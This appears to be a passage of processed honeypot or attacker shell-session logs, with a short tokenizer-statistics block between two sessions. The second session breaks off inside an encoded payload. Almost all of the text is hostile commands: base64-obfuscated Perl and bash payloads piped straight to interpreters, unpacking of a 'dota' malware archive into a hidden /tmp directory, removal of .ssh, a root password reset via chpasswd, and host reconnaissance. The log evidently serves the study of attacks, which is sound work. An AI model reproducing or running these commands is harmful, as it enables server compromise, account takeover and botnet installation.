tUDtXKVQ4MmBcKCMkUCxDMEA7VyhAO0ZdVCgmMUU5RkVOOTYwQCkmMUM4VkVQKCZdUigiMUI+NzFFPFJgXCgjJEkuUEhAKCZVWV8oIjFEOFYtUztWLUsoI1RAMjRcWi5FLU84Vk1FPSNIWjI0WSU1IlReO0Y1VyolIVI7VzFPLzNYQj0mLVAoQlBANCY1RTxEJUQ5JyhdL0IxRDhWLUlfPCJQQDQmNUU8RSFPPEcwXS9CMUQ4Vi1QO1cpVDgyUEA1JkVNOTZdVT0jVF4sMzRJKCZdUignKUU9JzVSO0JgSCwiRFsiQmBAKSYxQzhXLU84VkxNXy9GJVU9Jl1GOyc1UzoiQFEqM0wqKCJgRDkmLUM3Vy1FOyJUXjg2MUQqIjFEOFYtUztWLUsqM0wqKCJgRDEkLSM+UjFEOFYtUztWLUs/N01UOjchT18/MmBdKCI9Rzk3MEcuUEhAKCIxJDBULVspJjFDOFctTzhWTV0+VkVUOjZVRT8yYF0oJzFJOzY0WyJCYEApJDEjMFdMRDkmLUM8Vl1DOldVWztGRUNfOldUQC8yYEQ7RkVDOlNMKigiYEQxJC0jPlIxRDhWLVM7Vi1LPzdNQj43MUU8V1RALzJgRDhHRVQ5NyxbIkJgQCkkMSMwV0xEOSYtQzxWXUM6V1VbXzhXNVI4R0VUOTdUQC8yYFAuUEhAKCIxJDBULVspJjFDOFctTzhWTV0+ViVSPDc1ST1GXV0oI1RAKSYlUjw3NUk9RlxbIkJgQCkkMSMwV0xEOSYtQ188Vl1DOldVWzo3IV0oI1RAKSYxQzhWRVAuUEhAKCIxJDBULVspJjFDOFctTzhWTV0+VyFPPEcxQT8yYF0oIjFEOFYtUDtXKVQ4M0wqKCJgRDEkLSNfPlIxRDhWLVM7Vi1LPzdNUz0mJVQ9Ny1dKCNUQChFKUU4VjVCOTZZRDtSKFsiR1QqIkctVThCITM9JiVUPTcsQD5QSEAoJlVZKCIxUztWLUs5NzBAXy8yIVM6JkVGPSNMKigiIU0+MmBEPFZdQzpVXVQ6NyFPKCNUQCkkMSMwV0xEPFZdQzpWNVQ/N01UOjchTz8zTCooIiFVO0ZRRTxXLEAqJlFDKiIxU187Vi1LN1cxSTwmXEkoJjVRKCIpQzomJVQoQkRAPlBIQCgiYEA7N0RAKSZZSThWTEAvMmBEMSQtIz5SMVM7Vi1LOTcxXT5WWUk4Vk1dLlBIQCgiYEBfOzdEQCkmJVI8NzVJPUZcQC8yYEQxJC0jPlIxUztWLUs5NzFdPlYlUjw3NUk9Rl1dLlBIQCgiYEA7N0RAKSZFVDo2VUUoI1RAKSQxIzBXTEQ8Vl1DXzpWNVQ/N01JPSZFTTk3VFsiQmBAKCIhTT4yYEQ5RzFJOzY0QC8yIVQ6NlVFLlBIQCgiYEA7N0RAKSctVDg3MVU8UmBdKCIxJDBULVspJy1POFZNRV89J1VbPFcxQT0nNVM/M0wqKCJgQCgiMUY9JkVNOTJgXSgiMSQwVC1bKSctTzhWTUU9J1VbOUcxSTs2NV0oJkVGKCYxRTlGRU45NjBIKSQxIzBXTERfPFZdQzpWNVQ/N01GPSZFTTk3VEkuUEgqKCJgQCgmVVkoIjFEN1cxSTs2NEAvMmBEOUcxSTs2NE0pJkVUOjZVRS5QSCooImBAKCZVWSgiMUM9Nyk/XzhHRVQ5MmBdKCIxJDBULVspJy1POFZNRT0nVVs4VzVSOEdFVDk3VFsiQmBAKCIhTT4yYEQ4R0VUOTctPz0mXVQ4NlBALzJgQCkkMSMwV0xEPFZdQ186VjVUPzdNQj43MUU8V1RbIkBIQCgiYEA7N0RAKScpQT0mNEAvMmBQLlBIQCgiYEApJylBPSY0QC8yYEgpJi1VPEVdQj43MUUrUyRQLEMwSStSMURfN1cxSTs2NEA6NjhAKSYtVTxFXUI+NzFFKCNYQCwjTCooImBAKCZVWSgiMVA7VylDOTZYQC8yYEgpJi1VPEVdQj43MUUqQyRQLCJETykmKVk9JjVTXzdXMU89JiVMLlBIKigiYEAoJlVZKCJARDxFXUQ9NzhMKCIxUDdWMVU9QkRbIkJgQCgiIUk5QmBIKScpQT0mNEAvN1hAK1VYSDcmMEsqNVBOKiVRRF8qMkE8OSJESDcmMEkrUkRAPlBIQCgiYEAoImBAKScpPzknNVYoI1RAKSMsWygiMVI3VjFVPUJMSygmRUYoIjBUKCNYXSgjNFsiQmBAKCJgQCgiYERfPEYlVDkyYF0oIihELDVQTikjKEIrQihEPEVdRD03OEIuUEhAKCJgQD8wSEAoImBAOjY4QCoiMVA7VylDOTZYQC83WEArVVhINyYwSyo1UE4qJVFEXyoyQTw5IkRINyYwSStSREA+UEhAKCJgQCgiYEApJyE/OSc1VigjVEApIyxbKCIxUDdWMVU9QkxLKCZFRigiMFQoI1hdKCM0WyJCYEAoImBAKCJgRF88Jl1SOFY1TigjVEAoQjBRNyJYRCxCKE4oQjFQN1YxVT1CKFsiQmBAKCIhXSJCYEAoIiFSOTcxVTxGWEgoQjFTO1YtSzdXMUk8JlxCKyIoRDxXMUFfPSc1UyhCUEIpJllJOFZMQisiKEQ4NylRPTZFVjtSKEwoQjFCPjcxRTxVXVQ7VzFBOyIoTCgiKEQ4VzVSN1YpWT0mNEIrIihEOSVdVDo2VUUoQlBAXyhCMVI4NzFFKEJQQChCMVA7VylDOTZYQiozTCooIiFdIkBIKigiIVI5NzFVPEZYSCwiRFsiR1QqIkBJUz02KEA5RkVYODYxRDxCIVsiQmBAKCIhTV8+MmBIKSYlRDknKUU8VyxJKCNUQDAlXFsiQEhAKCJgQDhWQU87N2BAKSYlRDknKUU8VyxbKCJgQCgiYCooImBAKCZFRigiQEQ4NjFEPEY1UzxSYF1fP0JgTzdFUUQqUjBPKjIhWyJCYEAoImBAKCJgQDxGNVQ9NylOKCZFTjk3MT87RzFPODJBUDg2LUsoIikuKEJQQCkmJUQ5JylFPFcsSS5QSEAoImBAXz8yIUU7Jy1JOUJgSCkmJUQ5JylFPFcsQC83WEArVVk7LDMpPS9VUUQ+UyRMLEdVPCtFTFEsRVRfNyYxWywyUFI/NVBONlMkUjczXTw5J0xRKyMpXV83Ilk7LDMpPS9VUUQ+UyRMLEdURCtSREA+UEhAKCJgQCgiYEAoJylFPSc1UjtCYEQ4NjFEPEY1UzxTTCooImBAKCdUQDk2UVM6NjhAKiIxQTkmMVJfOTctUygjVV4oJzFSK1YkTT5EJE02QlxPKjIhWygiYEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYCooImBAKCJgQCgiIVI5NzFVPEZYQDo2WUU9JV1OXz0mXUEqIkBIOVY1VDomXVM9JilZO0YlTTkyQEQ4NjFEPEY1UzxSREk2UzE9KjVMUDcyRFsiQmBAKCIhXSgmNUw8VjRAPlBIQCgiYEAoImBAKCcpRS09JzVSO0NMKigiYEAoJ1QqPzB9Cg== | base64 --decode | perl ; rm -rf /var/tmp/dota* ; sleep 15s && cd /var/tmp ; echo IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKbWtkaXIgLlgxMy11bml4CmNkIC5YMTMtdW5peAptdiAvdmFyL3RtcC9kb3RhLnRhci5neiBkb3RhLnRhci5negp0YXIgeGYgZG90YS50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgLnJzeW5jOyBjYXQgL3RtcC8uWDEzLXVuaXgvLnJzeW5jL2luaXRhbGwgfCBiYXNoIDI+MSYKZXhpdCAw | base64 --decode | bash ; cat /proc/cpuinfo | grep name | wc -l ; echo root:01BmLg8ozMoQ | chpasswd | bash ; echo 321 > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk {print $4,$5,$6,$7,$8,$9;} ; free -m | grep Mem | awk {print $2 ,$3, $4, $5, $6, $7} ; ls -lh $which ls ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ;
--- Tokenizer Stats Unix ---
Average token length: 481.45
Max token length: 28920
Sessions that would be truncated: 27 out of 200
Index of the longest session: 172
Max token count: 28920
Original bash word count: 134
Session: cd /tmp || /var/tmp || /dev/shm ; echo ZXZhbCB1bnBhY2sgdT0+cXtfIkZVWSgiMVA8Rl1DOTctUztSYF0oIj1SPFdFTjhSPFsiQEhEPFY1Uj1GRUQ7VyhdKVMkVC1CWFEuIzROLDM8UStDKFItUjxAPTZZTDk3LVMoIjFTXzk3KVY6NjFPPENMKjs3REApJyFPPEcxQS8yPFQtIyxHLlBJTT4yIWA4ViVOODZFUy8yQEIoVyFQKEJEWyJGVVkoJCFBOSZVUy8yQEIwMihMKEVAQl8qM0wqOzdEQDAmJVU9JkBdKiIpTDtWLUE7JkFPPFcwQiozTCoiRlVZKCIxTDo2WUE8VV1NODdAXS1DTCo7N0RAKSctTDk2NVAvMyxbIkBJTT4yYERfO0ZFQzpSYF0oJj1FPSZZSThWTEgqM0wqOzdEQCkmRVI4VllBOzY0QC8yIUc5NzFOOjYtSyoiRFsiRlVZKCIxUjk2JUw7RiVNOTJgXSgiQUA9NllBXzs2NEArNiVAKjNMKiJGVVkoIjFBOFY1UzxWXVM6JjVMOyJgXSgjJFsiRlVZKCIxUDxGNUY6N0FPKCNUQChCJEAoQ0wqOzdEQCkmNVM9JiVUOjctVF86Ni1BPFJgXSgjYFsiRlVZKCIxUDg2LU89JjVTKCNUQCwzTCoiRlVZKCIxNjE1KTMwNFxALzJgRywiWFI4MjxbIkBIRDRURSc+Uj0pM0UwRz8yYF1fKCI9KTFUWS80RDRHLlBIRDRURSc+Uj0oNTVgRz8yYF0oIj0pMVRZLzRENEcuUEhENFRFJz5SPTQxNSktKVdUQC8yYEcyND0uM1UpJSlTTCopJS0pXzFXTEcwVEEsMSI9XSgjVEApVEUnM0RdMjEyPFsiQjEzMjQ9WylVITMpV1RALzJgRzI0PS4zVSklKVNMKiJHNVM5MiEpM1NIWjRWXUM6VjVULlBJVV88VjRANFZdQzpWNVQuUElVPFY0QDI0XFouRS1FOyY1Qz0jTCo4VkFEOjcoSChCXEIqM0wqKSctRTxHOUk5Jl1SLzIoRDA1KSc1RUxQNzIoQDo2OEBfKSQlMjFVOTssJVRbIkIwUC8yKEQ8JylPOFY1UzxWXEIrQik8LCIoWyJGVVkoIjFQOjYwXTlGXVI6U0wqOTdBST0iIUk5QmBEPCZFRC5QSUQ6NjRAXyhFIVI7VilMOTZVQSgmLU87MiFPKCY5TzxGTFooIjBBKEIhVTtGUUU8VyxAOSY1Rjo2WUU5IkBEPCZFRCozTCoiRlVZKCI1STxGLT88VjVSPUY1Ul88U0wqOzdEQCk0MSMwU0wqOzdEQCkmMUM4VV1TOTZQQC8yIU45NzxAMjRcWi5FLUU7JjVDPSJUXjtGNVcqIkRbIkBIKiJASVM9NihAOVY1VDtGRUNfOlIhWyJCYEA8RjVUPTcpTigiKVgoQllJO0cwSDxGJU45IkBZLjNEWSoyRE4oQlRCK0ZFTj0iQVI4NllEKiNEWS4zREkqM0wqPzBIKiJHLVU4QiFHXzk3MUk5JjVOPSIhWyJCYEA7N0RAKScpRT0mXVI7Rl1JOSY1Tj0iYF0oIjk/OVY1VCoiKUg9JzFQLkJcTz1XPVcrRlVJO0chTzwiWUM7VlRPPFZMUV8sRyFBOFZMTzo2MUU7RzFTK0chSDwiKEkuUEhAKCZVWSgiMUk5JjVOPSYtSDg2WUM5MmBdKCZFTj0iQVI4NllEKiMkUCwjYEkqM0wqKCIhSTlCYEhfKSZFRDk2WVQ4VkFBO0YtRSgjWEAsU2BJKCdMKigiYEAoIiFSOTcxVTxGWEApJllJOFZMWyJCYEA/MiFFOyctRSgnTCooImBAKCIhUjk3MVU8RlhAXyknKUU9Jl1SO0ZdSTkmNU49I0wqKCIhXSJCYEA8RjVUPTcpTigiMVI5NzFPPEZZTzo2MUU7RzBbIkdUKiJHLVU4QiFHOTcxTjg2VUUoJ0wqKCIhTV8+MmBEPEY1VDtXKU47VllBOzY0QC8yYEY3Vj1FPSJAQjonMVQ8I0hPK1c9Vz1SWU06NllQO1dgTjhWXU0rVy1LLDMpUDg2LUsrVllBOzY1UytHIUhfPCIoSS5QSEAoJylFPSc1UjtCYEQ8RjVUO1cpTjtWWUE7NjRbIkdUKiJHLVU4QiFHOTcxSTkmNU49IyhAPlBIQCgiYEAoImBAKCZVWSgiMUw5NllHXz0mQF08VkFJOUcwWyJCYEAoImBAKCJgQCkmUUU7Rj1UOiJgXSgjLEA6NjhAKiIxTDk2WUc9JkBALyJgUyozTCoiQmBAKCJgQCgiYEA7N0RAMCYtSF84NylTLzJARzgyPE4rQj1aKVJQRzAyPE4rQj06KVJQRywyPE4rQjxZKVJEWyJCYEAoImBAKCJgQDlGXVI5NiVDOiJgSCwyWE4pJlFFO0Y9VDoiRCpfKCJgQCgiYEAoIiFbIkJgQCgiYEAoImBAKCJgQCgiYEAoImBEPEYlTjkmXU08VzFSOjZZRytDVEQ4VkFBPEctOzxGJU45IiFgOFZBQTxHLT0uUEhAXygiYEAoImBAKCdUKigiYEAoImBAKCIhUjk3MVU8RlhAKScpQTtGMU87Ny1UPEZFTjlTTCo/MEgqPFc1QigmPUU9Jy1UO1cpRSgiQEQpIkQqPlBIQF8oJlVZKCIxVTxGUEAvMiFTOiZFRj0jTCooIiFNPjJgRDlGRUw5MmBdKCctSDo2OVQuUEgqKCJgRDonMVQ8JV1TPScpRTg2VT87VzVUKCNUQCwzTCpfKCIhTzwmNU4qJD0lNSVdLzU1MSYyNFElKyJgQi9CYEQ5RkVMOTIoSS5QSEAoIjVIPScxUDdWUU87VyE/OFZBRThWTEAvMmBIKjNMKigiIT85VjVUXyoiMVU8RlBJLlBIQCgmLUw7Vy1FKCQ9JTUlXS81NTEmMjRRJS5QSEAoJylFPSc1UjtCYEQ7NiVJO0NIWjonMVQ8JV1HOTcxPzxGNVM9NlFULlBJXV8iQElTPTYoQDdWPUU9YElbIkJgQDs3REApJzVSOyJgXSgnLUg6NjlULlBIQCgmVVkoIjFQPEZdWD4yYF0oIihCLlBIQCgmPVI5N2BAPlJBTDhSQERfN1JEQDk3JEAoRkFUPSchPzwnKU8+J0RCKjJgRilCYEgpJyFSO1dBWSgjVEApJDUuNUdMRDdXVEk/MiFLOTdFUygiNSUzRThbIkJgQDo2OEAqIkBEXzwnKU8+J0RAOTckQChCKEkoIjhGKCIxVTxGUEAvN1hAOzJRPjonMVQ8I0hPK1JBOzdCXFo3MkxJKiNcWi5CQTw5IkxJKjNcSCtVUTMqQkRfKSJQSV8oJ0wqKCJgQCgmVVkoIjFIO1ctVCgjVEApIyRbIkJgQCgiIU0+MmBEPCZdUj0iYF0oIjBSKCdRXCgjQFAuUEhAKCJgQDs3REApJyFBPSZAQC8yYERfLFNMKigiYEAoIjFQODcxSCgjVEAoQlxCKCc1TjsmNVM8UiFEOTY5STtGNUQqIjFQODcxSCozTCooImBAKCcpRT0nNVI7QiE/PScpST1GRUE7JV1IXz0nMVA3Vj1FPSJARDomXVM9IlBAKSchTzxHMEwoIjFQODcxSCozTCooIiFdKCY1TDxWRUYoIkBEPCcpTz4nREAvN1hAOzJRPjonMVQ8I0hPK1JBO183QlxaNzJMSS5CQTw5IkxJKiJdPDRSSEkvUjBMKjIhWyJCYEAoIiFNPjJgRDomXVM9ImBdKCIwUS5QSEAoImBAOzdEQCknIU88RzBALzJgRCxDTCpfKCJgQCgmVVkoIjFQODcxSCgjVEApJzVSOyNMKigiYEAoJylFPSc1UjtCIT89JylJPUZFQTslXUg9JzFQN1Y9RT0iQEQ6Jl1TPSJQQCknIU88RzBMXygiMVA4NzFIKjNMKigiIV0oJjVMPFY0QD5QSEAoImBAPEY1VD03KU4oJzVOOSY1Ri5QSEAoJ1QqPzBIKiJHLVU4QiE/PScpST1GRUE7JV1IPScxUF83Vj1FPWBJWyJCYEA7N0RIKSZBTzxXMEwoIjFQO1cpVCsiYEQ8JiVUOiJEQC8yIWA3U0wqKCIhTT4yQEQwND0lM0UwTCgiMTYxNSkzMjRdLisiYERfPCJEWyJASEAoIjEhMVQ1LjUiYF0oIilHOTcwTTs2RU46NlVBOyIoWyJCYEApJTklNEUtKTNUWEAvMmBCLENgUCwjYFEsM0BCLlBIKigiYEQ8JiVUXzoiYF0/QiFTK1JgTykzKFArVjxbIkBIQCgnKUU8NzVJPEY0QDI0XFouRS1POFZNRT0jTCooIiFMO1YtQTsiQEQ3RTxJKCNUQCwjTCooIiFNPjJgRF88Vl1DOlJgXSgkRS8uQ0kzO1YtSzk3MFouREUuMTUwTS9GWUU9UkEwOTY1UjA2MUQ8QmBdL0JgRDomXVM9IlAqKCJgQCgiYEAoImBAKCJgQCgiYEBfKCJgQCgiYEAoImBAKCJgQCgiYEAoImBAKCIhMDk2NVI0Jl1SPSJgXS9CYEQ8Jl1SPSJQKigiYEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoImBAXygiYEAoImBAKCJgQCgiITA8Rl1UO1JgQCgjVF4oIj1UOFdgRytgSEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoImBAKCJgQF8oJTFJOzY1Tz03MEAoI1ReKCM4UCoyIVw/IiFSOTcxVTxGWFsiQmBAKSctTzhWTE0vRiVVPSZdRjsnNVM6I0wqKCIhTT4yYEQ7RjVUOyZdQygjVEBfKSZBTzxXMFsiQmBAKSZZRT0mUU84UmBOLzJgQi5CMVA7VylUKEIhSTlCYEQ8Jl1SPSJgQS8yYFgsI0wqKCIhTT4yYEQ8RjVRPTY1Uz0iYF0oIiknXzE1MEApJyFBPSZAQDIlMTQ0IlxRK0MhPCwjJFU3I2BRLEIoKigiYEAoImBAKCJgQCgiYEAoImBOKCIpKDtXLVQuQmBEO0Y1VDsmXUM3I2BRLTVQUF8sMyhCIkJgQCgiYEAoImBAKCJgQCgiYEArQmBCNTctRTxCVSE5VjVOPSNIQCkkJScxNFk0K1IxNjE1KTMyNF0uK1c1PCwjJFU3I2BRLEIoWyJCYEBfKScpRTw3NUU8VzBAK0NUQChFIVI4Nj1NODNIQDtGXE04ViVDOiY1PCwjJFU3I2BRLEIoQDo2OEAqIjFNODZFTi5DSUg9JzFQN1ZZTzdWLUE4VkFFXyozTCooImBEPEY1UT02NVM9ImBOLzJgQjcjYFEtNVBQLDMoQi5QSEAoJyFSOjZZVCgiMVM7Vi1LKCIxUjk3JVU5Ny1ULlBIKigiIU0+MmBEOEc1Rl8oI1RAKEIoWyJCYEA7N0RAKSZYWyJCYEA7N0RAKSYoUSgjVEAoQihbIkJgQD1WQUk7JjRAKiIxTigjVEA8V0VTPEY1QTkiQEQ8Vl1DOlJQQCkmKVVfOUJQQC4iSFEsIyhUKyIhTDk2WUc9JkBIKSYpVTlCREkqMiFbIkJgQCgiIUk5QmBIKSYoUSgmNVEoIihCKjIhWyhgSEAoImBAKCJgRDhDJEAvMmBEXzhHNUYuUmBAKCJgQCgiYEAoYEhAKCJgQCgiYEQ4RzVGKCNVXignLE8rQkxfNyNgUS0zXTwsIyRSNyNgUS0zXTwsIyRSK1JdUy5SYEAoImBAKGBIQF8oImBAPzBIQCgiYEA6NjhAKiIxSD0nMVA3Vy1UPEY1QTs1XU89NzBJKCdMQDwnKUk7RzBAMVQ1NDdUXTU1JDkpMyQ0QCkmKVU5Q0xAKSYpVTlCYF1fKCIoQi5SIV0iQmBAPzBIQCgnKUU9JzVSO0IhVTtGMUU5QiFVO0ZRRTxXLEA5JjVGOjZZRTkiQEQ7QkRbIkBIQCgiMU04NkVOLkNJSD0nMVA3Vj1FXz0lXVI5Ny1VOycwQC8yYFIsI2BbIkJgQDo2OEAqIjFCLDJgXT9CIU0rJVkoNSUxMCtVUUQqVVBONyYwSzcnLEsqJVFEKlJFOzdFUFAsMyk9KkVQUF8sMyhMKjIhWyJCYEAoImBEOzYlSTtDSFo6JzFUPCVdRzk3MT88RjVTPTZRVCgjVEApIyRbIkJgQCgiIUk5QmBIKSZVQTo2WFouRkFUPSchPzlWNVRfN1cpRTxXNUw9ImBdP0JgTzdDLFA2UyRSLFM9PStSYEYpQmBEOEMkQC83WEArVVBQLDMpLDtWLUE9JkVPO0NJPDxSSEg3JSxLKjJcKioyIVsiQmBAXygiYEAoJlVZKCIxVTxGUEAvMmBELDNMKigiYEAoImBAPEY1VD03KU4oJzVOOSY1RigmRUYoIjFIPScxUDdWUU87VyE/OFZBRThWTVspJzVSOydUS18qU0wqKCJgQCgiYEA8RjVUPTcpTiglXUc5NzBIKSc1UjsiRFsiQmBAKCIhXSJCYEAoIiFSOTcxVTxGWEA9NllEOTY4QD02WUw5Ny1TKCIxTTg2RU5fLkNJSD0nMVA3Vj1FPSVdUjk3LVU7JzBALzdYQCtVWFIrU0wqKCIhXSJASEAoJylFPSc1UjtCYEQ4RzVGLlBJXSJASCopJy1FOyVdQzsmRUU7RzFFXygjVEAyNFxaLkUtRTsmNUM9IlReO0Y1VyoiRFsiRy1VOEIhUzk2WUQ8RiVXKCdMKigiIUk5QmBIKSItPygjVF0oIjxRKVJEQD5QSEAoImBAOzdEQF8pJy1POFZNRT0iYF0oIjE/NlMhPS5QSEAoImBAPCcpSTtHMEApJy1POFZNRT0iYEIpJV07LDVVPDtCKFsiQmBAPzIhRTsnLUUoJ0wqKCJgQCgiYEBfPCcpSTtHMEApJEUyMFVdQz03KT88Vl1DOlY1VCgiKEQ3VUxQNzVRTihDTCooIiFdIkdUKiJHLVU4QiFDO1ZZRThXMUE8QiFbIkJgQCgmVVkoIjFNXzk3NU46Ni1LKCNUQCklXTssJVRbIkJgQCgmVVkoIjFTOTcpVjo2MU88RV1DO1ZYQC8yYEQ3VUxRNzNMKigiYEA7N0RAKSchTzxHMUE3Vi1PO0JgXV8oIjE/NlMpPS5QSCooImBAOzdEQCkkRTIwVV1TO1YtSzk3MEAvMiEpM1NIWjRWXUM6VjVULkNJKTNENTQrM1lOOTc8SDQnKU89JlxdL0IpVDhXYEJfKyIhMDk2NVIwNjFEPENUXihCMVM5NylWOjYxTzxFXUM7VlhCKyIhMDk2NVI0Jl1SPSNUXiknIU88RzFBN1YtTztCREA7VyhAPEY1VD03KU4qIyRJXy5QSEAoIiFJOUJgSDkmNUY6NllFOSJARDI1KSM3Vy1POFZNRT0iREkoJ0wqKCJgQCgiYEQyNSkjN1YtVTxFXVM7Vi1LOTcwQC8yYEQyNSkjN1ctT184Vk1FPSNMKiJCYEAoImBAKSRFMjBVXVM7Vi1LOTcwTS9GJVU9Jl1GOyc1UzoiQFEqM0wqKCJgQCgiYEQ8VjVMN1YtTDo2NU49JjRNL0YlRDkiQERfMjUpIzdXLU84Vk1FPSJEWyJASEAoImBAKCIxSTxGLT88VjVSPUY1UjxXTEQyNSkjN1YtVTxFXVM7Vi1LOTcxXT5SPUg7Vy1UKVdUQC8yYEIpJy1FXzxHOUk5Jl1SN1YtTztCKFsiQmBAKCJgQCkmRVI4VV1TOTcpVjk3KVM+UjEpNEQtPzhXNVI3Vy1POFZNRT0nVVspVyFPPEcxQSlXVEAvMmBCKSchT188RzFBN1YtTztCKFsiQmBAKCJgQCkmRVI4VV1TOTcpVjk3KVM+UjEpNEQtPzhXNVI3Vy1POFZNRT0nVVspVllJOFZMRz8yYF0oIjFNOTc1Tjo2LUtfLlBIQCgiYEAoIjFJPEYtPzxWNVI9RjVSPFdMRDI1KSM3Vi1VPEVdUztWLUs5NzFdPlI9TTk3NUk8Ij1dKCNUQCkkRTIwVV1TO1YtSzk3ME0vRy1PXzhWTUg7Vy1ULlBIQCgiYEAoJllJOFZMSChCMU05NzVOOjYtSyhCRFsiQmBAKCJgQDxWNU45JylBPVJAQjU1LSU0QmBEOjcpQztGJU05MmBCK0IxKV80RC0/PFZdQzpWNVQrM1lTO1YtSzomXVM9IlhCKCIxUzk3KVY6NjFPPEVdQztWWEAuQjFSOTYlTDtGJU05MihJLlBIQCgiYEAoJy1MOTY1UCgjKFtfIkJgQCgnVCoiR1QqOzdEQCkmUUk7RjU/PSY1TTwjTCo9VkFJOyY0SCgjJEAqMiFbIkJgQCgnPUg6NlFFKCJAQSomTUU+NyxIKTZFUjhVXVM5NylWXzk3KVMqMkRJKCdMQDhWXU45Ni1UODcoSChCMU46Ni1LKEJQQChCMVM5NylWOjYxTzxCKEwoIihEPCZdUj0mJEIqM0xAPzBIQCgiIUQ5NlFFPSY0SF8pJkVSOFVdUzk3KVY5NylTPlI8Rz8yREA6NjhAKiYxRTlGRU45NjBIKSZFUjhVXVM5NylWOTcpUz5SPEc/MkRJLlBIQCgiYEYxJC0jLkNJQztWWU5fOTYtVDo2XU48U0wqKCJgQDs3REAwJylFODYxWSgjVEApJy1FOyVdQzsmRUU7RzFFKzNZQzg2WT88RjVBOSJAUCtDOEkuUEhAKCIhTjk3QVQoJzVOXzsmNVM8UkFgPEY1QTknREkuUEhAKCIhRjtXKUU4Ni1IKCIxRjoiYEgwJylFODYxWSoyIVsiQmBAKCJgQCkkRTIwVV1DPTcpPzxWXUM6VjVUKCNUQF8pJjlILlBIQCgiYEAoIjFNOTc1Tjo2LUsoI1RAKSZFUjhVXVM5NylWOTcpUz5SMSk0RC0/OFc1UjdXLU84Vk1FPSdVWylWWUk4VkxHPzNMKigiYEBfKCJgRDtHKUU4NjBALzIhUz43LVI5NiVEKiIxRjoiUEApJlVTOVJQQC0jYFktQkRbIkJgQCgiYEA6NjhAKiIxTjxGNUE5ImBdLzJgUCoyIVsiQmBAXygiYEAoImBAKSctRTslXUM7JkVFO0cxRSszWVI5NlVPPUY0SCkmOUgqM0wqKCJgQCgiYEAoImBEOUZATS9GLUw7Vy1FLlBIQCgiYEAoImBAKCYxRV87JjVUOTJARDo3KUM3Vy1FPEc5RTxHLVspJjlIPzJEWyJCYEAoImBAPzBIQCgiYEAoJCFMOjZZRTxSYF0oJy1QOyZFVCgiQE83JlhPKyJgRDs3LUdfKjNMKiJCYEAoImBAOUZdUiomVVkoIjFDLzNgWygiMUMvI1RAKSItTDo2WUU8U0xAKSYsSypSREA+UEhAKCJgQCgiYEApJlFJO0Y0QC8yYEQ7JkVOXzk3LTspJi09LlBIQCgiYEAoImBAKSZRSTtGNF0pJlFJO0Y1Pz0mNU08IlhEOyZFTjkyIUk5QmBIKSZRSTtGNT89JjVNPCJEWyJCYEAoImBAKCJgRF87JkVOOTVdVDk2VVAvMjxHLlBIQCgiYEAoImBAKSZRSTtGNEAvN1hAPFJdPDxCME8rU0wqKCJgQCgiYEAoJzVOOyY1UzxSYEgpJixALzNUQCkiLUxfOjZZRTxSREA+UEhAKCJgQCgiYEAoIiFQODcpUzkyQEIpJlFJO0Y0QiozTCooImBAKCJgQCgnVEA5NlFTOTIhWyJCYEAoImBAKCJgQCgiYEA6NjhAXyoiMEM7JkVOOTcsQC8zVEAsIkRAPlBIQCgiYEAoImBAKCJgQCgiYEA8JiVSPFY0SChCMUw6NllFKEJEWyJCYEAoImBAKCJgQCgiYEA/MiFFOyctSV85QmBIKSZRSTtGNVM2UjFDNzJgXT9CYE83JyhEK1JEQD5QSEAoImBAKCJgQCgiYEAoImBAKCIhUDg3KVM5MkBCKSZRSTtGNEIqM0wqKCJgQCgiYEBfKCJgQCgiIV0oJjVMPFZFRigiQEQ7JkVOOTJgXT9CYE83QkE8NFJMSSgkWS81JEUjMTIhITU1MSgoI0k8KkVQSjciSE8qMiFbIkJgQCgiYEAoImBAXygiYEAoImBAKCchQTxHLUUqIihEOyZFTjkyKEkuUEhAKCJgQCgiYEAoImBAKCdUQDk2UVM5MiFbIkJgQCgiYEAoImBAKCJgQCgiYEAoIjFMOjZZRV83VzFFOzdgQC8yYEQ7JkVOOTNMKigiYEAoImBAKCJgQCgiIV0iQmBAKCJgQCgiIV0iQmBAKCJgQCgnVCooImBAPzBJXSJASVM9NihAPCYlUjxWNEBfPlBIQCgiIU0+MmBEPFY1Uj1GJVI5UmBdKCctSDo2OVQuUEhAKCIhSTlCYEgpJy1FPEc5QTxGPEAvN1hAK1VZMDI0WScoJVBaKiJYSioyXEkoJ0wqXygiYEAoIiFTOTZZRDxGJVcqIikwM1RZJygjSEQsMihJLlBIQCgiIV0oJjVMPFZFRigiQEQ8VjVSPUYlUjlSYF0/QmBPN0VQWioiWEsvUkU8KDJATl8qU1xJNyRgSCtCTF8qMiEwNERFNjM1LScoIkBOKlNcSSglUFoqIlhLKjJcSSgnTCooImBAKCJgQCgmVVkoIjFQO0NURCwzTEA7N0RAKSZdTjkmNEBfLzJgRC0jTEA7N0RAKSYlUjlXLEAvMmBELTNMKigiYEAoImBAKCZFRigiQEQ4NylHPFJgXT9CYE83RVBQLCMlNjE1KTMyNF0uNyNgUCwyME8qMiFbXyJCYEAoImBAKCJgQCgmWU89JkVDOTJAQiknIU4oQlBAKEVQUCwjJTYxNSkzMjRdLigmVSk0RCxAPUM4TiwzOEAxNFklKCQlLDI0WEAxVCUiNERFJV8zJVBQLCMkQiozTCooImBAKCJgQCgnVCooImBAKCJgQCgmNUw8VkVGKCJARDg3KUc8UmBdP0JgTzdFUFAsIyUwMjRZJzcnLEsqJVFEKlJFPCwjYFFfKSJcSSgnTCooImBAKCJgQCgiYEA7Rl1UOjYtRSoiKEQ8JlhCKyJgQjcjYFAsNSEvM0Q9PCwjYFEoQkRbIkJgQCgiYEAoIiFdIkJgQCgiYEAoIiFFXzsnLUk5QmBIOVcpRTwiIVspJVxALzdYQCtVWTw0MjFQO0VRJSkiXUkoJ1RAMCYlRDs3LEkoJ0wqKCJgQCgiYEAoImBAOjY4QCoiMU87RjFFKCY1UV8oIihEOzY1VTtGRUM6UihJPlBIQCgiYEAoImBAKCJgQCgnLUg5NlFMKiIoRDwmWE